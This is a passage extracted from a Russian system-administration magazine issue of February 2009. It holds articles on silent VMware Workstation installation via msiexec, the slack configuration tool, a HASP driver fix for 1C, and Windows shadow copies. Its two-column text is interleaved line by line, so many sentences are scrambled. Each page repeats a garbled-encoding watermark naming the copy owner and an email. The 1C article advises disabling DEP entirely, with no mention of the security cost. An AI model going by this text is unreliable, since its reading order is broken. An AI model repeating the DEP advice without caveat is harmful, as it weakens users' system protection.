товых доменов. В крупных компани- Любой MSI-файл представляет со- то компонент по умолчанию устанав-
ях – разработчикам сетевых приложе- бой базу данных, состоящую из таб- ливается, если 0 – то нет (см. пара-
ний достаточно часто необходимо ре- лиц, в которых хранятся параметры метр Eclipce IDE PlugIn на рис. 2). На-
ализовать множественную установку и соответствующие им значения. Во звание устанавливаемого компонента
VMware Workstation. Автоматизация время работы мастера выполняет- берется из колонки Title, а описание –
этого процесса сэкономит много вре- ся сценарий, который, получив необ- из Description.
мени специалистам. ходимые исходные данные, управля- Изменив список устанавливаемых
ет установкой приложения. Часть зна- и отображаемых компонентов, поль-
Способы установки чений этих параметров заранее опре- зователь может впоследствии реали-
VMware Workstation делена в таблице Property MSI-файла, зовать полностью автоматическую ус-
Все способы установки практичес- часть необходимо ввести пользовате- тановку продукта с помощью парамет-
ки любого приложения, в том числе лю вручную. ров командной строки.
и VMware Workstation, условно можно Рассмотрим подробнее процесс ус- На третьем шаге задается путь ус-
разделить на две группы: тановки. После запуска файла VMware тановки VMware Workstation с помощью
n С помощью мастера. Установка Workstation.msi на экране выводится значения параметра INSTALLDIR таб-
программы сводится к ответу поль- диалоговое окно, сообщающее о на- лицы Directory. По умолчанию предла-
зователя на задаваемые мастером чале работы мастера. На первом ша- гается папка %ProgramFiles%\VMWare\
вопросы в интерактивном режиме. ге необходимо выбрать тип установки VMWare Workstation (см. рис. 3). В слу-
n С помощью параметров команд- (см. рис. 1). По умолчанию выбрано чае необходимости изменить путь
ной строки. Они позволяют сни- значение Typical таблицы Property. рекомендуется создать параметр
зить до минимума участие пользо- В большинстве случаев конечный INSTALLDIR в таблице Property и при-
вателя в установке программного пользователь выбирает именно этот своить ему требуемое значение.

28
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
Далее пользователь с помощью проводника указы-
вает местоположение дополнительно создаваемых яр-
лыков. По умолчанию предлагается создать три ярлыка
(см. рис. 4):
n На рабочем столе. Параметр DESKTOP_SHORTCUT.
n В «Пуск → Программы». Параметр STARTMENU_
SHORTCUT.
n В панели быстрого доступа Quick Launch. Параметр
QUICKLAUNCH_SHORTCUT.

Все перечисленные параметры находятся в таблице


Property и по умолчанию им присвоено значение, равное
единице.
На этом определение ключевых параметров, необходи-
мых для установки программы, закончено. Далее инстал-
лятор выводит диалоговое окно и предлагает приступить Рисунок 1. Определение типа установки
к копированию файлов и настройке операционной систе-
мы. Для этого необходимо нажать на кнопку Next. Если ка- Во время процесса установки (см. рис. 6) необходимо
кой-либо из ранее заданных параметров необходимо из- указать сетевой путь в формате UNC (\\SERVER\SHARE).
менить, воспользуйтесь кнопкой Back. Если будет указан локальный путь, например C:\VM_ADM,
После завершения копирования файлов необходимо это не будет ошибкой. По умолчанию мастер пытается раз-
ввести регистрационные данные – серийный номер про- вернуть дистрибутив в корень первого по алфавиту под-
дукта (см. рис. 5), имя пользователя и название компании. ключенного в данной сессии сетевого диска.
Значения последних двух параметров операционная сис- Несмотря на то что административный режим установки
тема подставляет автоматически. используется намного реже традиционного, разработчики
Внимание: если в MSI-файле заданы регистрационные все же предусмотрели способ автоматизировать этот про-
данные, то этот шаг мастером пропускается. цесс. Для этого необходимо вместе с ключом /a использовать
В завершение процесса установки выводится соответс- ключ /v, который позволяет управлять утилитой msiexec.exe,
твующее сообщение и предлагается перезагрузить ком- выполняющей MSI-файл. Работая как служба, она связыва-
пьютер. С помощью значения параметра RebootYesNo – ет MSI-файлы с Windows Installer следующей командой:
Yes (по умолчанию) или No управляют расположением фо-
куса кнопки. %SystemRoot%\System32\ msiexec.exe /i ↵
"VMware Workstation.msi"
На этом установка VMware Workstation завершена:
на компьютере установлена VMware Workstation 6.5 и го- Команда msiexec.exe [2] поддерживает ряд парамет-
това к работе. Для ее запуска создано три ярлыка в раз- ров командной строки, которые позволяют автоматизиро-
ных местах. Сделав необходимые изменения в MSI-фай- вать процесс установки. С помощью команд также можно
ле, пользователь может предопределить ответы на все указать значения параметров таблицы Property MSI-фай-
вопросы. Используя параметры командной строки – пол- ла. Для автоматической установки в качестве параметра
ностью автоматизировать работу ин-
сталлятора.

Административная
установка
Административная установка исполь-
зуется для сложных продуктов, для
того чтобы получить непосредствен-
ный доступ к базе данных, храня-
щейся в MSI-файле. Для запуска это-
го процесса необходимо запустить
EXE‑файл с параметром /а. Админис-
тративная установка позволяет раз-
вернуть дистрибутив программы в се-
ти. Помните, что размер дистрибути-
ва в этом случае увеличивается при-
мерно в полтора раза. Так, дистрибу-
тив VMware Workstation 6.5 (VMware-
workstation-6.5.0-118166.exe) в сверну-
том виде занимает 555 Мб, а в развер-
нутом – 809 Мб. Рисунок 2. Определение списка устанавливаемых компонентов

№2, февраль 2009 29


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

Рисунок 3. Определение пути установки программы Рисунок 4. Управление создаваемыми ярлыками

необходимо указать ключ /qn, обеспечивающий подавле- матизации может быть разной. Это определяется возмож-
ние отображения интерфейса. Параметру TARGETDIR при- ностями инсталлятора, типом дистрибутива. Использова-
своить путь, по которому будет выполнена установка. Если ние этих параметров позволяет не только автоматизиро-
введенное значение содержит пробелы, то его необходи- вать процесс установки, но и получить другие сервисные
мо заключить в кавычки. Таким образом, для реализации функции, например, создать файл отчета и т. д.
автоматической установки в административном режиме Дистрибутив VMware Workstation создан на основе од-
в каталоге W:\VmWare Workstation 6.5 необходимо выпол- ного из самых распространенных инсталляторов – Windows
нить следующую команду: Installer.
С у щ е с т вуе т д в а в и д а д и с т р и бу т и в о в VMware
VMware-workstation-6.5.0-118166.exe /a /v " ↵ Workstation:
/qn TARGETDIR=" W:\VmWare Workstation 6.5""
n Локальный. Представляет собой один EXE-файл – са-
В результате на сетевом диске в папке W:\VmWare мораспаковывающийся архив.
Workstation 6.5 создан дистрибутив в традиционном виде. n Сетевой. Дистрибутив формируется в ходе админист-
Теперь при необходимости можно приступить к изменению ративной установки программы из локального. Состо-
MSI-файла с помощью программы ORCA.EXE или к сете- ит из множества папок и файлов. Для инициализации
вой установке приложения. процесса установки осуществляется запуск MSI-файла
VMware Workstation.msi.
Установка с помощью параметров
командной строки Для установки VMware в автоматическом режиме
Параметры командной строки используются для автома- по умолчанию используется локальный дистрибутив. Се-
тизации процесса установки приложения. Степень авто- тевой дистрибутив используется для переноса большинст-
ва параметров из командной строки
Таблица 1. Параметры командной строки msiexec.exe в MSI-базу данных и изменения спис-
Параметр Описание ка устанавливаемых компонентов по
/i Установка приложения в обычном режиме умолчанию.
/f [p|o|e|d|c|a|u|m|s|v] Переустановка приложения. Если задан только ключ /f, то имеется в виду команда /fpecsm Локальная версия дистрибутива
p – восстановление удаленных файлов; представляет собой самораспаковы-
о – обновление до более новой версии;
e – полная переустановка приложения той же версии; вающийся архив, имя которого стро-
d – восстановление удаленных файлов и перезапись файлов более старой версии; ится по шаблону:
c – восстановление удаленных файлов или перезапись файлов, если CRC (контрольная
сумма) установленных файлов не совпадает с CRC файлов в дистрибутиве;
а – переустановка всех файлов; VMware-workstation-<xxxxxx>.exe
u – перезапись всех ключей реестра, касающихся данного приложения в ветвях HCKU, HCU;
m – перезапись всех ключей реестра, касающихся данного приложения в ветви HCLM;
s – перезапись всех ярлыков где <xxxxxxx> – версия и номер сборки
/a Выполнение административной установки приложения продукта, например 6.5.0-118166.
/x Деинсталляция продукта При запуске этого файла осущест-
/j[u|m[/g]] Управление публикацией программного продукта: вляются автоматическое распаковыва-
u – публикация для текущего пользователя; ние во временную папку в профиле те-
m – публикация для всех пользователей;
g – идентификатор языка (управление установкой языкового интерфейса) кущего пользователя (%Temp%) и вы-
/q[n|b|r|f] Определение уровня пользовательского интерфейса во время установки:
полнение MSI-файла.
n – отсутствие интерфейса; Для распаковки архива сущест-
b – базовый интерфейс (по умолчанию);
r – сокращенный интерфейс;
вует свой набор параметров команд-
f – полный пользовательский интерфейс ной строки, для MSI-файла – свой. Рас-

30
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
смотрим их подробнее. Архив VMware- Таблица 2. Параметры таблицы Property MSI-файла, задействованные в работе мастера
workstation-<xxxxxx>.exe поддержива- Параметр Значения Описание
ет следующие ключи: COMPANYNAME My Company Название компании. Осуществляется
n /а – выполняет административную подстановка из операционной системы
установку; DESKTOP_SHORTCUT 0 |1 Создать ярлык на рабочем столе
n /s – подавить вывод диалоговых INSTALLDIR %ProgramFiles%\VMWare\ Путь установки приложения
окон; VMWare Workstation
n /v – параметры установки MSI-фай- QUICKLAUNCH_SHORTCUT 0 |1 Создать ярлык на панели быстрого запуска
ла;
SERIALNUMBER XXXXX-XXXXX-XXXXX-XXXXX Серийный номер. Выдается производителем
n /c – стереть информацию о регис- продукта
трации; SetupType Typical | Custom Тип установки приложения
n /l – создать файл отчета об уста- STARTMENU_SHORTCUT 0 |1 Создать ярлык в «Пуск → Программы»
новке.
USERNAME Pupkin Имя пользователя. Подставляется имя
пользователя, на которого зарегистрирован
Из всех перечисленных ключей ав- Windows
томатизация процесса установки обес-
печивается ключом /v, с помощью которого осуществляется министратором в зависимости от задач, которые необхо-
управление MSI-файлом [2]. Ключ /v эмулирует команду: димо решать с помощью WMware Workstation.

%SystemRoot%\System32\msiexec.exe [keys] ↵ 1. Коробко И. Модификация дистрибутивов на основе Windows


VMware Workstation.msi
Installer. //Системный администратор, №8, август 2008 г. –
где keys – параметры командной строки, перечисленные С. 14‑18.
в таблице 1. 2. Коробко И. Администрирование сетей Windows с помощью
Обычно для установки приложения в автоматическом сценариев. Глава 12. Подготовка рабочей станции к функци-
режиме используют в совокупности ключи /fa /qn /jm. онированию к сети, стр. 283-314.
Кроме того, в качестве параметров командной строки
могут быть заданы значения параметров таблицы Property
MSI‑файла. Список и краткое описание параметров, исполь-
зуемых во время работы мастера, приведено в таблице 2.
Замечание: при вводе команды необходимо выполнять
следующие правила:
n ключи MSI-файла после параметра /v берутся в кавыч-
ки;
n значения параметров, содержащие пробелы, берутся
в кавычки;
n имена параметров таблицы Property в MSI базы данных
чувствительны к регистру.

Заключение
Подводя итог, отмечу, что для автоматизации процесса се-
тевой установки (MSI-файл, извлеченный из архива с по-
мощью административной установки) необходимо выпол- Рисунок 5. Ввод регистрационной информации
нить команду:

%SystemRoot%\System32\msiexec.exe /fa /qn /jm ↵


SERIALNUMBER=XXXXX-XXXXX-XXXXX-XXXXX ↵
VMware Workstation.msi

В случае когда данные записаны в базе данных


MSI‑файла:

%SystemRoot%\System32\msiexec.exe /fa /qn /jm ↵


VMware Workstation.msi

Для автоматизации локальной установки (EXE-файл)


с использованием ключа /v команда будет выглядеть сле-
дующим образом:

VMware-workstation-<xxxxxx>.exe /v ↵
"/fa /qn /jm SERIALNUMBER=XXXXX-XXXXX-XXXXX-XXXXX"

Выбор способа установки определяется системным ад- Рисунок 6. Административная установка VMware

№2, февраль 2009 31


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

Slack – автоматизируем настройку


сервисов

Алексей Коробкин
Творческая работа по настройке сервера превращается в рутину, если этих серверов сотня.
С помощью slack этот процесс можно автоматизировать быстро и без лишних затрат.

Н
есколько дней назад я настра- Настройку программного обеспе- ются при помощи rsync. Какой именно
ивал один из вспомогательных чения slack производит в три шага: транспорт будет использовать rsync,
серверов, на котором долж- n Шаг 1. Скрипт preinstall выполняет также зависит только от ваших пред-
на работать реплика LDAP, вспомога- всю подготовительную работу. На- почтений.
тельный контроллер Kerberos и запас- пример, устанавливает необходи-
ной IRC-сервер. После того как завер- мые пакеты из дистрибутива Linux, Почему именно slack?
шилась установка Linux, я запустил та- создает локальную учётную за- Скептически настроенный читатель
кую команду: пись, корректирует настройки дру- спросит, зачем изобретать велосипед,
гих сервисов. если почти так же работает любой ме-
# slack ldapslave kdcslave ircserver n Шаг 2. Slack берет из своего репо- неджер пакетов – достаточно создать
зитория и раскладывает по нуж- свой пакет и устанавливать на серве-
Когда эта команда закончила рабо- ным местам заранее подготовлен- ры именно его.
ту, настройка сервера была полностью ные администратором файлы. Ска- Ответ: потому что создание соб-
завершена. Другими словами, всю ра- жем, заполненный файл конфигу- ственного пакета – слишком трудоём-
боту за меня сделал slack [1] – простой, рации веб-сервера помещается кий процесс. В большинстве случаев
но мощный инструмент управления на- в /etc/apache2, а логотип фирмы – удобнее установить стандартный па-
стройками. Slack экономит бесценное в /var/www/images. кет и чуть-чуть модифицировать его
время системного администратора, n Шаг 3. Скрипт postinstall выполня- под свои нужды, нежели тратить вре-
позволяя автоматизировать установку ет завершающую настройку. На- мя на написание манифеста пакета,
и настройку сервисов и сосредоточить- пример, накладывает патчи на ус- создание правил установки, цифровую
ся на более творческой работе. тановленные файлы, определяет подпись и прочую «бюрократию».
IP-адрес сервера и вписывает его Кроме того, просмотр и изменение
Принцип действия в конфигурационный файл, откры- вручную созданного пакета затрудни-
В большинстве случаев настройка вает нужные порты на брандмауэ- тельны. Если ваш коллега захочет ис-
сервиса под Linux состоит из установ- ре или настраивает crontab. править одну строчку настроек или
ки всех необходимых пакетов, ручной просто разобраться в том, что же имен-
корректировки установленных фай- Как видите, алгоритм работы slack но делает ваш пакет – ему придётся
лов и написания файлов конфигура- очень прост. Скрипты могут быть на- потратить куда больше времени, чем
ции. Если вам приходится настраивать писаны на любом языке и представ- на чтение двух скриптов и просмотр
один и тот же сервис хотя бы дважды, лять собой любой исполняемый файл, каталога с файлами.
эту работу стоит автоматизировать. от bash-сценария до бинарного фай- Безусловно, slack не может конку-
И slack, наверное, самое простое сред- ла C++, slack в этом никак вас не ог- рировать с профессиональными паке-
ство автоматизации. раничивает. Файлы с сервера копиру- тами наподобие IBM Tivoli Automation,

32
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
но его простоту наверняка оценят администраторы ферм slack-master, файлы находятся в /var/slack. Внутри /var/slack
веб-серверов и Linux-кластеров, которым нужна максималь- есть каталог roles, в нём каталог роли ircbot. Иными слова-
но простая и надёжная автоматизация. ми, на сервере у нас все файлы роли ircbot хранятся в пап-
Название slack происходит от «Sysadmins' Lazy Auto- ке /var/slack/roles/ircbot (см. рис. 1).
Configuration Kit» и не имеет отношения к дистрибутиву Структура этого каталога такова:
Linux Slackware. n подкаталог scripts со скриптами preinstall и postinstall;
n подкаталог files с файлами, которые будут скопирова-
Установка ны на целевую машину.
Выберите сервер, который будет хранить файлы конфигу-
раций – в терминологии slack он называется slack-мастер. Внутри каталога files в будущем домашнем каталоге
Удобно завести для него псевдоним slack-master в DNS. пользователя ircbot сделаем подкаталог .irssi, а в нём соз-
На slack-мастер установите rsync. Выделите отдельный дадим файл config.
каталог, например /var/slack, в котором будут храниться
настройки каждого сервиса. Эти настройки slack называ- # cd /var/slack/roles/ircbot/files
# mkdir -p home/ircbot/.irssi
ет ролями. К примеру, в начале статьи я установил на сер- # touch home/ircbot/.irssi/config
вер три роли: ldapslave, kdcslave и ircserver. Подумайте, ка-
ким образом вы хотели бы получать файлы из этого ката- В этот файл поместим обычные настройки IRC-клиен-
лога: по ssh, rsh или непосредственно по протоколу rsync. та irssi. Содержимое файла не имеет значения, это прос-
Если вы предпочитаете последний вариант, настройте мо- то пример:
дуль slack в /etc/rsyncd.conf.
# cd /var/slack/roles/ircbot/files
# cat home/ircbot/.irssi/config
[slack]
path = /var/slack settings = {
comment = my slack repo core = {
real_name = "IRC Bot";
На клиентах нужно установить slack. Почти во всех дист- user_name = "ircbot";
nick = "+ircbot+";
рибутивах есть соответствующий пакет, но и собрать из ис- };
ходных кодов его совсем несложно. Архив с исходными ко- };
дами можно скачать на страничке проекта [1].
В файле конфигурации /etc/slack.conf достаточно отре- Вообще в каталоге files файлы располагаются так,
дактировать только переменную SOURCE, которая указы- как бы они располагались на целевой файловой системе,
вает, где находится репозиторий slack. Она заполняется со- начиная с корневого каталога / и с учётом всех подкатало-
гласно стандартному синтаксису rsync [2]. гов. Например, у роли веб-сервера содержимое каталога
Например, если вы настроили модуль slack в rsyncd. files может быть таким:
conf, как описано выше, то правильная строка может вы- n etc/apache2/apache2.conf;
глядеть так: n etc/apache2/conf.d/security;
n etc/init.d/apache2;
SOURCE=slack-master::slack n etc/cron.daily/apache2;
n usr/share/doc/apache2/README.patched.
или так:
Шаг 2. Создаем скрипт preinstall, запускаемый перед
SOURCE=slack-master:/var/slack копированием файлов. Поскольку мы будем устанавли-
вать новые пакеты и создавать учётные записи, скрипт бу-
Остальные переменные можно оставить со значения- дет выполняться с правами root.
ми по умолчанию.
#!/bin/sh
Slack-роль # Обновить список пакетов
В качестве примера сдела- apt-get update
ем slack-роль, которая бу- # Установить irssi
дет устанавливать IRC-кли- apt-get install irssi
ент irssi, добавлять пользо- # Создать свою группу для учётной записи ircbot
вателя ircbot и копировать groupadd ircbot
стандартный файл кон- # Создать учётную запись ircbot, домашний каталог
фигурации клиента irssi # для неё, добавить в группу ircbot
useradd -g ircbot -c "IRC Bot" -m -d /home/ircbot ircbot
в домашний каталог этого
пользователя. Роль безыс- Этот скрипт slack выполнит перед началом копирова-
кусно назовём ircbot. ния файлов.
Шаг 1. Строим иерар- Шаг 3. Создаем скрипт postinstall, который будет запу-
хию файлов на сервере. щен после копирования файлов. Этот скрипт выполняет фи-
Рисунок 1. Иерархия файлов
на slack-мастере Наш сервер называется нальные шаги установки и настройки роли ircbot.

№2, февраль 2009 33


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
#!/bin/sh навливать один и тот же сервер, slack поможет вам сэко-
# Исправить права на каталог .irssi номить время и усилия.
chown -R ircbot:ircbot /home/ircbot/.irssi В какой-то момент вы даже можете решить включить
# Отчитаться о завершении установки slack в процедуру автоматической установки операцион-
echo "IRC Bot installation has been done." ной системы, чтобы вообще не подходить к серверу пос-
ле запуска установки ОС. Запущенный без списка ролей,
Обратите внимание: именно скрипты preinstall slack прочитает подготовленный вами файл conf/roles.conf
и postinstall – основной инструмент slack. Поскольку они в своём репозитории и по имени компьютера определит,
выполняются на целевой машине, у вас есть уникальная какие роли следует установить.
возможность прочитать её локальные параметры, настро- Slack никак не привязан ни к платформе, ни к дистри-
ить установленное ПО индивидуально для данной маши- бутиву, и одна и та же роль вполне может сначала прове-
ны и данного сетевого окружения. рять, на каком дистрибутиве она запустилась, а потом ус-
Примените свою фантазию и напишите сценарии уста- танавливать rpm, deb или любые другие пакеты. Slack на-
новки так, чтобы от вас не требовалось ни нажатия клави- писан на языке Perl и может с успехом применяться в сме-
ши, ни ввода каких-то аргументов вручную, тем более что шанной среде FreeBSD, Linux и Solaris.
из командной строки slack может принимать только назва- Настройка репозитория на slack-мастере – тоже твор-
ния ролей и свои встроенные параметры. Пишите на том ческая задача. Применяя контроль версий файлов и резер-
языке сценариев или программирования, который луч- вное копирование, вы сделаете создание slack-ролей удоб-
ше всего знаете, – slack просто запускает файлы preinstall ным и приятным для ваших коллег из IT-отдела.
и postinstall с помощью вызова exec(), так что ограничений Простота slack легко завоёвывает сердца администра-
никаких нет. торов и помогает снизить усилия по документированию, со-
средоточив их вместо этого на автоматизации. А кроме того,
Проверка как вы ещё продемонстрируете коллегам-администраторам
На целевой машине запускаем: свой талант написания скриптов на любимом языке?

# slack ircbot 1. Страница проекта slack – http://code.google.com/p/slack.


2. Док ументация проек та rsync – http://samba.org/rsync/
В зависимости от транспорта, которым пользуется rsync, documentation.html.
slack может запросить пароль для соединения со slack-мас-
тером. В документации к slack можно прочитать, как настро-
ить беспарольную аутентификацию для rsync и ssh при по-
мощи сертификатов.
После ввода пароля slack скопирует со slack-мастера все
файлы роли ircbot во временный каталог, запустит скрипт
preinstall, потом перенесёт файлы из временного катало-
га на их постоянные места и следом запустит postinstall.
Полный алгоритм работы slack при установке роли пока-
зан на рис. 2.
Всё, пакет установлен, учётная запись создана, и в до-
машнем каталоге ircbot лежит заранее настроенный файл
конфигурации с правильными правами доступа к нему.
Просто, не правда ли?
Простота slack – его сильная и в то же время слабая
сторона. Slack делает только то, что вы сами напишете
в скриптах preinstall и postinstall. Контроль зависимостей,
ошибок, повторных установок, неожиданных сред окру-
жения – это всё вы должны реализовать сами, если чувс-
твуете в этом необходимость. В любом случае не забы-
вайте тщательно тестировать роль перед использовани-
ем. При установке роли slack сохраняет резервные копии
файлов, которые он сам перезаписывает, но ваши скрипты
никак не проверяет и возможность отката роли сам по се-
бе не предоставляет.

Применение
Как именно использовать slack, каждый администратор
решает сам. Если в вашей сети много рабочих станций
с ОС Linux, или вам приходится настраивать однотипные
сервисы на серверах или даже просто постоянно восста- Рисунок 2. Алгоритм работы slack

34
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование «1С»

Решаем проблемы с установкой


и удалением драйвера защиты

Андрей Луконькин
Не всегда поставляемый фирмой-разработчиком софт работает безупречно, причин может
быть множество, и одной из самых распространенных является неактуальность драйверов
и библиотек.

Е
сли при установке драйвера защиты или при его функцию DEP в файле boot.ini. Наиболее простой способ
удалении возникает ошибка примерно следующе- выполнить это:
го вида: n нажать правую кнопку мыши на иконке «Мой компью-
тер» и выбрать команду «Свойства»;
Running processes are accessing the drivers. n перейти на закладку «Дополнительно»;
Please stop the processes or use the -kp option.
Error code: 20, 4 958 0 0x140000 0x0 0x140000 n нажать кнопку «Параметры» в группе «Загрузка и вос-
становление»;
то самым вероятным решением проблемы является актуа- n нажать кнопку «Правка» в группе «Загрузка операци-
лизация версии драйвера. онной системы»;
n в открывшемся на редактирование файле boot.ini най-
Как это сделать? ти все вхождения параметра /NoExecute (возмож-
В первую очередь узнайте текущую версию установленно- ны варианты: /NoExecute=OptIn, /NoExecute=OptOut,
го в системе драйвера HASP, выполнив команду: /NoExecute=AlwaysOn и /NoExecute=AlwaysOff) и заме-
нить значение параметра на  AlwaysOff.
hinstall.exe -info
Таким образом, содержимое файла boot.ini
в подкаталоге C:\Program Files\1cv81\bin, сравните с послед-
ней версией на сайте производителя (см. рисунок). [boot loader]
timeout=30
На сайте компании Aladdin (www.Aladdin.com) в разделе default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
HASP Device Driver Downloads скачайте файл hinstall.zip, рас- [operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=
пакуйте его в какой-либо каталог и выполните команду: "Microsoft Windows XP Home Edition RU" /fastdetect
/usepmtimer /NoExecute=OptIn
hinstall.exe -i
изменится на:
для установки драйвера.
Если и после установки обновленного драйвера про- [boot loader]
timeout=30
грамма по-прежнему не запускается, нужно отключить default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=
"Microsoft Windows XP Home Edition RU" /fastdetect
/usepmtimer /NoExecute=AlwaysOff

Важно! При этом другие параметры загрузки ОС из-


менять не следует.
Закройте текстовый редактор, на вопрос о сохранении
изменений при выходе ответьте утвердительно, и переза-
грузите компьютер.
После выполнения вышеописанных действий драйвер
Результат выполнения команды «hinstall.exe -info» защиты должен заработать в штатном режиме.

№2, февраль 2009 35


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность

Теневое копирование
в Windows Server 2003

Александр Емельянов

Не секрет, что одним из повседневных действий администратора сети является резервное


копирование данных. Существует огромное количество программ, позволяющих
автоматизировать этот процесс и выполнять задания любой сложности. С выходом
Windows Server 2003 компания Microsoft предоставила администраторам мощный инструмент
для осуществления мгновенных снимков файлового наполнения сетевых дисков.

С
истемному администратору ла службу, услугами которой не име- койны за сохранность пользователь-
в процессе работы приходит- ет права не воспользоваться любой ских данных.
ся часто сталкиваться с про- администратор Windows-систем. Речь Реальность такова, что данные ис-
блемами, возникающими вследствие идет о службе теневого копирования чезают из-за неграмотных или невни-
различных действий пользователей. тома или VSS (Volume Shadow Service). мательных действий работников. Пред-
Канувшие в Лету сами собой файлы, Слово «тень» (shadow) напрямую оп- ставим, что существовал некий файл,
особенно представляющие для поль- ределяет характер ее работы. Все в него внесли изменения и сохранили.
зователя высокую важность, вызыва- происходит прозрачно как для адми- Затем выяснилось, что информация,
ют у последнего в лучшем случае не- нистратора, так и для пользователей которая содержалась в файле до его
рвное раздражение, в худшем – «при- рабочих станций. Достаточно один изменения, очень нужна. Или дру-
ступы суицида». Видимо, для сохра- раз провести ряд незамысловатых гая ситуация. Пользователь жалуется
нения их здоровья Microsoft придума- манипуляций, и мы можем быть спо- на пропавшую с сетевого диска папку.

36
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
На просьбу пояснить, какие действия архивные копии хранятся, как прави-
с его стороны этому предшествовали, ло, на специально отведенном ресур-
получаем невнятное: «Вчера я в райо- се в локальной сети, и рядовые пользо-
не 16.00 заходил в нее, а сегодня с ут- ватели не имеют к ним доступа. Поэто-
ра смотрю – ее уже нет». Конечно, мож- му использование инструмента под на-
но попробовать использовать поиск, званием «программа для резервного
но он поможет только в случае, если копирования» для решения поставлен-
папка была перемещена, а не удале- ной задачи вызывает сомнения.
на. Можно походить по офису с опро- Рассмотрим другой случай. Небе-
сом «не трогал ли кто папку Ивана Ива- зызвестная программа Acronis True
новича?». Но вряд ли это даст резуль- Image (ATI) вполне справляется с проб-
тат. Решить проблему в обоих случа- лемой блокировки файлов, а также
ях поможет служба теневого копиро- умеет делать инкрементальные копии
вания. Как? Об этом далее. диска. То есть, после создания полной
копии тома каждая последующая со-
Друзья-однополчане держит лишь изменения, произошед-
Зачастую извлечение максимума воз- шие с момента создания предыдущей.
Рисунок 1. Меню управления теневым
можностей того или иного продукта за- Казалось бы, то, что нужно. Но вряд ли копированием разделов
висит от правильного понимания зада- на всех машинах в сети установлен ATI,
чи. Применительно к данному случаю просто потому, что каждая копия стоит ментальные снимки с некоторой перио-
стоит отметить, что VSS не является денег. Итак, снова возвращаемся к на- дичностью, сохраняя только данные со
программой для резервного копиро- шим баранам – конечные пользовате- времени создания последнего снимка.
вания в привычном понимании функ- ли без участия администратора не смо- Время создания таких копий определя-
ционала работы таких программ. VSS гут добраться до нужных данных. ется настройками стандартного пла-
по принципу резервирования данных Служба теневого копирования то- нировщика Windows. Рекомендуемый
схожа с продуктами типа Acronis True ма позволяет делать моментальные интервал составляет не менее одного
Image или Norton Ghost, которые рабо- снимки разделов, избегая проблемы часа. Однако это не означает, что мож-
тают с целыми томами. И ничего об- блокировки файлов. Эта особенность но создавать бесчисленное множество
щего в этом плане не имеет эта служ- полезна также при работе с базами теневых копий тома. Есть ряд ограни-
ба с утилитами, создающими резер- данных (например, MS SQL Server, чений. Во-первых, существует возмож-
вные копии отдельных файлов и па- «1С:Предприятие»). Кроме того, даже ность создания максимум до 64 сним-
пок. Далее будут приведены преиму- малограмотный пользователь за пару ков тома. Во‑вторых, под них отводится
щества, которые администратор полу- движений мышкой сам сможет восста- определенный объем дискового про-
чит от использования VSS. Однако это новить утерянные файлы (папки) непо- странства (не менее 100 Мб). При за-
вовсе не означает, что стоит отказать- средственно со своего рабочего мес- полнении этого объема самые старые
ся от стандартной процедуры резерв- та, не имея при этом возможности уда- снимки заменяются новыми. Поэтому
ного копирования (например, на вне- лить резервные данные. при планировании теневого копирова-
шние носители). Помимо этих преимуществ, стоит ния нужно учитывать размеры целево-
Возьмем, к примеру, любую про- отметить, что VSS поставляется вместе го раздела и количество копий, кото-
грамму, которая умеет создавать раз- с Windows Server 2003 (и выше), а это рое вы хотите иметь. Теневое копиро-
